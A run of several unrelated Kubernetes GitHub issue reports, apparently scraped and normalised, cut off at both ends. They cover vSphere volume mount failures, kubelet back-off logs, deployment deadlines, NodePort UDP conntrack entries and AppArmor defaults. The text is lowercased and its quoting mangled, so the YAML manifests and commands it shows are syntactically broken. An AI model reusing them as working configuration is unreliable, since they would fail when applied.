/var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87284.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m21s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87288.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m20s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87290.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   warning  failedmount  8m18s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3\r output: running scope as unit run-87329.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk does not exist\r   normal   successfulattachvolume  8m17s  attachdetach-controller        attachvolume.attach succeeded for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\ \r   warning  failedmount             8m14s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r   </pre></code>\r \r \r \r   /var/log/messages  on the node  \r <pre><code>may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.730158   53933 vsphere_volume_util.go:187  cloud provider not initialized properly\r may  8 16:05:32 kubenode1 systemd: started kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3.\r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.744639   53933 mount_linux.go:152  mount failed: exit status 32\r may  8 16:05:32 kubenode1 kubelet: mounting command: systemd-run\r may  8 16:05:32 kubenode1 kubelet: mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3\r may  8 16:05:32 kubenode1 kubelet: output: running scope as unit run-57611.scope.\r may  8 16:05:32 kubenode1 kubelet: mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk does not exist\r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.744865   53933 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/vsphere-volume/b52b1433-718a-11e9-a3ef-005056b068e3-pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   \\\ b52b1433-718a-11e9-a3ef-005056b068e3\\\  \  failed. no retries permitted until 2019-05-08 16:07:34.74479901 +0300 +03 m=+619.028655111  durationbeforeretry 2m2s . error: \ mountvolume.setup failed for volume \\\ pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   uniquename: \\\ kubernetes.io/vsphere-volume/b52b1433-718a-11e9-a3ef-005056b068e3-pvc-e3705fec-7189-11e9-a3ef-005056b068e3\\\   pod \\\ pvpod\\\   uid: \\\ b52b1433-718a-11e9-a3ef-005056b068e3\\\   : mount failed: exit status 32\ mounting command: systemd-run\ mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk /var/lib/kubelet/pods/b52b1433-718a-11e9-a3ef-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-e3705fec-7189-11e9-a3ef-005056b068e3\ output: running scope as unit run-57611.scope.\ mount: special device /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-e3705fec-7189-11e9-a3ef-005056b068e3.vmdk does not exist\ \ \ \r may  8 16:05:32 kubenode1 kubelet: e0508 16:05:32.830478   53933 vsphere_volume_util.go:187  cloud provider not initialized properly\r </code></pre>\r \r \r   pv,pvc,sc yaml files  \r <code><pre>\r sc-fast.yaml\r \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata: \r   name: fast\r provisioner: kubernetes.io/vsphere-volume\r parameters: \r   datastore: kubedatastore\r   diskformat: thin\r   fstype: ext3\r \r pvc.yaml\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvcsc001\r   annotations:\r     volume.beta.kubernetes.io/storage-class: fast\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r \r \r \r pod.yaml\r \r apiversion: v1\r kind: pod\r metadata:\r   name: pvpod\r spec:\r   containers:\r   - name: test-container\r     image: gcr.io/google_containers/test-webserver\r     volumemounts:\r     - name: test-volume\r       mountpath: /test-vmdk\r   volumes:\r   - name: test-volume\r     persistentvolumeclaim:\r       claimname: pvcsc001\r </code></pre>\r \r   output of applied yaml files  \r <code><pre>\r  root@kubemaster vcp   kubectl create -f vsphere-volume-sc-fast.yaml\r storageclass.storage.k8s.io/fast created\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe storageclass fast\r name:                  fast\r isdefaultclass:        no\r annotations:           <none>\r provisioner:           kubernetes.io/vsphere-volume\r parameters:            datastore=kubedatastore,diskformat=thin,fstype=ext3\r allowvolumeexpansion:  <unset>\r mountoptions:          <none>\r reclaimpolicy:         delete\r volumebindingmode:     immediate\r events:                <none>\r \r </code></pre>\r --------------------\r <code><pre>\r  root@kubemaster vcp   kubectl create -f vsphere-volume-pvcsc.yaml\r persistentvolumeclaim/pvcsc001 created\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pvc pvcsc001\r name:          pvcsc001\r namespace:     default\r storageclass:  fast\r status:        bound\r volume:        pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed: yes\r                pv.kubernetes.io/bound-by-controller: yes\r                volume.beta.kubernetes.io/storage-class: fast\r                volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/vsphere-volume\r finalizers:     kubernetes.io/pvc-protection \r capacity:      2gi\r access modes:  rwo\r events:\r   type       reason                 age   from                         message\r   normal     provisioningsucceeded  13s   persistentvolume-controller  successfully provisioned volume pvc-4aa82312-72ec-11e9-8b74-005056b068e3 using kubernetes.io/vsphere-volume\r mounted by: <.none>\r \r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pv  pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r name:            pvc-4aa82312-72ec-11e9-8b74-005056b068e3\r labels:          <none>\r annotations:     kubernetes.io/createdby: vsphere-volume-dynamic-provisioner\r                  pv.kubernetes.io/bound-by-controller: yes\r                  pv.kubernetes.io/provisioned-by: kubernetes.io/vsphere-volume\r finalizers:       kubernetes.io/pv-protection \r storageclass:    fast\r status:          bound\r claim:           default/pvcsc001\r reclaim policy:  delete\r access modes:    rwo\r capacity:        2gi\r node affinity:   <none>\r message:\r source:\r     type:               vspherevolume  a persistent disk resource in vsphere \r     volumepath:          kubedatastore  kubevols/kubernetes-dynamic-pvc-4aa82312-72ec-11e9-8b74-005056b068e3.vmdk\r     fstype:             ext3\r     storagepolicyname:\r events:                 <none>\r </code></pre>\r --------------------\r <code><pre>\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl create -f vsphere-volume-pvcscpod.yaml\r pod/pvpod created\r  root@kubemaster vcp  \r  root@kubemaster vcp    kubectl get pod pvpod\r name    ready   status              restarts   age\r pvpod   0/1     containercreating   0          49s\r </code></pre>\r \r   first progress  \r \r in the first place when i run “ vsphere-volume-pvcsc.yaml”  it was not successfully creating the volume, output of the “kubectl describe pvc” message was _no vm found_, than i applied https://github.com/kubernetes/kubernetes/issues/65933 issuecomment-408358655  method to match uuids  even providerid and product serial was same , after than volume created successfully and attached into virtual machine. but pod still containercreating state.\r \r cat /sys/class/dmi/id/product_serial | sed -e 's/^vmware-//' -e 's/-/ /' | awk '{ print toupper $1$2$3$4 \ -\  $5$6 \ -\  $7$8 \ -\  $9$10 \ -\  $11$12$13$14$15$16  }'\r kubectl patch node kubemaster -p '{\ spec\ :{\ providerid\ :\ vsphere://4230456e-d8b2-aed1-e270-740256cbd273\ }}'\r

my kubelet logs say stuff like this for the last 5 hours at least.      i0922 05:45:35.080856   32732 server.go:679  get /healthz:  468.434µs  0   curl/7.26.0  127.0.0.1:55322  i0922 05:45:40.035019   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-kubernetes-master_kube-system i0922 05:45:40.035923   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-scheduler pod=kube-scheduler-kubernetes-master_kube-system i0922 05:45:40.037761   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-kubernetes-master_kube-system i0922 05:45:45.087880   32732 server.go:679  get /healthz:  940.988µs  0   curl/7.26.0  127.0.0.1:55334  i0922 05:45:50.046545   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-kubernetes-master_kube-system i0922 05:45:50.048495   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-kubernetes-master_kube-system i0922 05:45:50.049518   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-scheduler pod=kube-scheduler-kubernetes-master_kube-system i0922 05:45:55.093780   32732 server.go:679  get /healthz:  525.722µs  0   curl/7.26.0  127.0.0.1:55351  i0922 05:46:00.023961   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-kubernetes-master_kube-system i0922 05:46:00.025888   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-kubernetes-master_kube-system i0922 05:46:00.026910   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-scheduler pod=kube-scheduler-kubernetes-master_kube-system i0922 05:46:05.100340   32732 server.go:679  get /healthz:  781.465µs  0   curl/7.26.0  127.0.0.1:55377  i0922 05:46:10.023198   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-kubernetes-master_kube-system i0922 05:46:10.036340   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-scheduler pod=kube-scheduler-kubernetes-master_kube-system i0922 05:46:10.040845   32732 manager.go:1913  back-off 5m0s restarting failed container=kube-controller-manager pod=kube-controller-manager-kubernetes-master_kube-system i0922 05:46:15.106951   32732 server.go:679  get /healthz:  720.087µs  0   curl/7.26.0  127.0.0.1:55389       why is it telling me about the backoff every 5 seconds if the backoff is for 5 minutes?

many metrics defined in   pkg/kubelet/metrics/metrics.go   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/metrics/metrics.go  are unused or no longer relevant/correct. we need to fix them to show meaningful numbers.  e.g., we should measure the latency along the critical path of a pod update.  1. kubelet watcher receives pod  kubelet/config   2. kubelet dispatches work  kubelet.go  3. pod worker picks up the work  pod_worker.go  4. finished sync 5. update pod status  note that kubelet may overwrite the pod update for a pod worker when it's busy syncing. to preserve the correct sync type, we need to intelligently merge the sync type when overwriting the previous update. e.g.,  syncpodupdate  and  syncpodsync  ->  syncpodupdate .  this is related to  11858,  12483. today in an e2e test, we scrape the /metrics endpoints of all nodes individually and parse the raw output to get the latencies. once  11858 is completed, we can launch a prometheus server pod to scrape the data from each node in the test, and then query the pod for data.

the kubectl bash completion doesn't take into account the namespace flag, and instead completes as if the flag wasn't passed.  without namespace works correctly:      $ kubectl get service k kibana      kubernetes      with namespace, ignores it and completes as in the first case:      $ kubectl get service --namespace=kube-system k kibana      kubernetes      it should instead complete using the services i have in that namespace:      $ kubectl get service --namespace=kube-system name                   cluster-ip   external-ip   port s          age kube-dns               10.0.0.10    <none>        53/udp,53/tcp   12d kubernetes-dashboard   10.0.0.36    nodes         80/tcp          12d

fyi. i can't use  make test what=pkg/kubectl  to run unit tests locally anymore. @deads2k i believe this has something related with your latest change to  hack/make-rules/test.sh , ptal.

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : both client and server on v1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04lts\r -   kernel    e.g.  uname -a  :  4.4.0-53-generic  74-ubuntu smp fri dec 2 15:59:10 utc 2016 x86_64\r -   install tools  : kops 1.5.0-alpha3\r \r   what happened  :\r added the following field to my deployment spec:  minreadyseconds: 5  and  progressdeadlineseconds: 120 , with a pod spec for a single-container pod with a non existing-image:tag  the image exists in my private dockerhub registry, the tag does not . i then deployed this update using  kubectl apply -f <filename>.yaml   \r the pods fail  first with errimagepull and then with imagepullbackoff :\r    \r name                          ready     status         restarts   age  \r shotgun-2497328708-bvq79      0/1       imagepullbackoff   0          10s \r shotgun-2923704814-8q88v      1/1       running        0          19h\r    \r the replicaset just keeps waiting:\r    \r name:\t\tshotgun-2497328708\r namespace:\ttest\r image s :\tshotgun:v99\r selector:\tapp=shotgun,pod-template-hash=2497328708\r labels:\t\tapp=shotgun\r \t\tpod-template-hash=2497328708\r \t\tversion=v99\r replicas:\t1 current / 1 desired\r pods status:\t0 running / 1 waiting / 0 succeeded / 0 failed\r no volumes.\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   10m\t\t10m\t\t1\t{replicaset-controller }\t\t\tnormal\t\tsuccessfulcreate\tcreated pod: shotgun-2497328708-bvq79\r    \r and the deployment reports it is progressing, far beyond the deadline set in the spec:\r    \r name:\t\t\tshotgun\r namespace:\t\ttest\r creationtimestamp:\ttue, 03 jan 2017 11:40:10 +0100\r labels:\t\t\tapp=shotgun\r selector:\t\tapp=shotgun\r replicas:\t\t1 updated | 1 total | 1 available | 1 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t5\r rollingupdatestrategy:\t0 max unavailable, 1 max surge\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r   progressing \ttrue\tnewreplicasetavailable\r oldreplicasets:\tshotgun-2923704814  1/1 replicas created \r newreplicaset:\tshotgun-2497328708  1/1 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   17h\t\t11m\t\t2\t{deployment-controller }\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set shotgun-2497328708 to 1\r    \r the status from  kubectl get deployment/shotgun --namespace=test -o yaml  reports the following:\r    \r status:\r   availablereplicas: 1\r   conditions:\r   - lasttransitiontime: 2017-01-20t09:29:43z\r     lastupdatetime: 2017-01-20t09:29:43z\r     message: replica set \ shotgun-2497328708\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r    \r this all stays the same, even 20min later.\r \r   what you expected to happen  :\r the pods to report as failed back to the replicaset instead of waiting and the deployment to mark it is not progressing after seeing no progress after 120 seconds.\r \r   how to reproduce it    as minimally and precisely as possible :\r pushing an update to a deployment with a non-existing image  possible private?  and waiting for the progressdeadlineseconds to expire.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r nodeport udp\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : own hardware, kube proxy in iptables mode.\r -   os    e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r    \r linux lej01-i1-srv-08 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r -   others  :\r \r \r \r   what happened  :\r i setup a service with type nodeport. this service should forward udp syslog to a logstash pod. the traffic comes from a nginx outside of the cluster. if the backend pod get deleted old connections are not deleted. the conntrack output later shows active connections for both, the old and the new backend.\r \r service setup:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: logstash\r   labels:\r     app: logstash\r spec:\r   type: nodeport\r   selector:\r     app: logstash\r   ports:\r   - name: logstash-nginx-syslog\r     port: 5141\r     protocol: udp\r     nodeport: 30514\r     targetport: 5141\r    \r \r ip of the old backend:  10.194.3.19 \r ip of the new backend:  10.194.2.37 \r ip of the kubernetes worker node:  10.200.20.2 \r    \r sudo conntrack -l | grep 30514\r udp      17 29 src=10.200.12.83 dst=10.200.20.2 sport=43542 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=43542 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=57669 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=57669 mark=0 use=1\r udp      17 29 src=10.200.12.115 dst=10.200.20.2 sport=54444 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=54444 mark=0 use=1\r udp      17 29 src=10.200.12.115 dst=10.200.20.2 sport=35148 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=35148 mark=0 use=1\r udp      17 23 src=10.200.12.115 dst=10.200.20.2 sport=40428 dport=30514  unreplied  src=10.194.2.37 dst=10.194.2.1 sport=5141 dport=40428 mark=0 use=1\r udp      17 29 src=10.200.12.83 dst=10.200.20.2 sport=49538 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=49538 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=39479 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=39479 mark=0 use=1\r udp      17 29 src=10.200.12.147 dst=10.200.20.2 sport=47248 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=47248 mark=0 use=1\r udp      17 27 src=10.200.12.115 dst=10.200.20.2 sport=59714 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=59714 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=58922 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=58922 mark=0 use=1\r udp      17 28 src=10.200.12.67 dst=10.200.20.2 sport=39006 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=39006 mark=0 use=1\r udp      17 29 src=10.200.12.131 dst=10.200.20.2 sport=57143 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=57143 mark=0 use=1\r udp      17 29 src=10.200.12.99 dst=10.200.20.2 sport=48913 dport=30514  unreplied  src=10.194.2.37 dst=10.194.2.1 sport=5141 dport=48913 mark=0 use=1\r udp      17 29 src=10.200.12.147 dst=10.200.20.2 sport=57293 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=57293 mark=0 use=1\r udp      17 28 src=10.200.12.99 dst=10.200.20.2 sport=59793 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=59793 mark=0 use=1\r udp      17 29 src=10.200.12.115 dst=10.200.20.2 sport=41956 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=41956 mark=0 use=1\r udp      17 0 src=10.200.12.67 dst=10.200.20.2 sport=37252 dport=30514  unreplied  src=10.194.2.37 dst=10.194.2.1 sport=5141 dport=37252 mark=0 use=1\r udp      17 24 src=10.200.12.115 dst=10.200.20.2 sport=49765 dport=30514  unreplied  src=10.194.2.37 dst=10.194.2.1 sport=5141 dport=49765 mark=0 use=1\r udp      17 29 src=10.200.12.99 dst=10.200.20.2 sport=60779 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=60779 mark=0 use=1\r udp      17 28 src=10.200.12.99 dst=10.200.20.2 sport=51338 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=51338 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=35126 dport=30514  unreplied  src=10.194.2.37 dst=10.194.2.1 sport=5141 dport=35126 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=53102 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=53102 mark=0 use=1\r udp      17 28 src=10.200.12.131 dst=10.200.20.2 sport=36563 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=36563 mark=0 use=1\r udp      17 29 src=10.200.12.115 dst=10.200.20.2 sport=42914 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=42914 mark=0 use=2\r udp      17 25 src=10.200.12.131 dst=10.200.20.2 sport=59050 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=59050 mark=0 use=1\r udp      17 29 src=10.200.12.83 dst=10.200.20.2 sport=56343 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=56343 mark=0 use=2\r udp      17 29 src=10.200.12.131 dst=10.200.20.2 sport=42781 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=42781 mark=0 use=1\r udp      17 25 src=10.200.12.131 dst=10.200.20.2 sport=52930 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=52930 mark=0 use=1\r udp      17 29 src=10.200.12.67 dst=10.200.20.2 sport=43209 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=43209 mark=0 use=1\r udp      17 29 src=10.200.12.83 dst=10.200.20.2 sport=45244 dport=30514  unreplied  src=10.194.3.19 dst=10.200.64.162 sport=5141 dport=45244 mark=0 use=1\r    \r \r   what you expected to happen  :\r the connections for the old backend get deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. start a service from with nodeport and udp. \r 2. add one backend to that service\r 3. produce traffic to the nodeport\r 4. delete the backend and create new backend.\r 5. watch the connection via conntrack.\r \r   anything else we need to know  :\r \r the issue seems to be related to this function: https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l791\r it is changed in recent versions but the conntrack statement includes the service ip. since we talk to the nodeport, the service ip does not appear in the conntrack connections. my proposal is to delete all udp connections to the backend ip   endpointip   and the backendport.\r

for seccomp, we defined:\r    \r     // seccomp profile for the sandbox, candidate values are:\r     //   docker/default: the default profile for the docker container runtime\r     //   unconfined: unconfined profile, ie, no seccomp sandboxing\r     //   localhost/<full-path-to-profile>: the profile installed on the node.\r     //   <full-path-to-profile> is the full path of the profile.\r     // default: \ \ , which is identical with unconfined.\r    \r \r however for apparmor, we only defined:\r    \r     // apparmor profile for the container, candidate values are:\r     //   runtime/default: equivalent to not specifying a profile.\r     //   localhost/<profile_name>: profile loaded on the node\r     //     localhost  by name. the possible profile names are detailed at\r     //    http://wiki.apparmor.net/index.php/apparmor_core_policy_reference\r    \r \r from the definition, it seems that empty apparmor profile will be \ unconfined\ , because there is no other \ unconfined\  option.\r \r however, it is not the case today. when apparmor profile is empty, we'll return empty https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/helpers.go l203.\r \r however, in docker, it will apply  docker-default  if apparmor profile is empty, when apparmor is enabled on the os. https://github.com/moby/moby/blob/6b262572028cc249b7da8cc55459197395fdb33e/daemon/oci_linux.go l788-l792\r \r this means that, as long as the node supports apparmor,  docker-default  will be applied to every pod, every container, iiuc.\r \r is this the behavior we want? @tallclair \r we should clearly define what is the expected behavior.\r \r @feiskyer @yujuhong @mrunalp \r /cc @kubernetes/sig-node-api-reviews \r

failure cluster  cd531c03ac2579986320  https://go.k8s.io/triage cd531c03ac2579986320        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:246 oct  4 01:53:18.993: error waiting for all pods to be running and ready: 6 / 26 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                                     node phase   grace conditions event-exporter-v0.1.7-658b94f46b-4ptlz       pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:10 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}  heapster-v1.5.0-beta.0-7f949fd8d4-bhd8w      pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:06 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}  kube-dns-778977457c-zmfw5                    pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:10 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}  kube-dns-autoscaler-7db47cb9b7-b65jn         pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:12 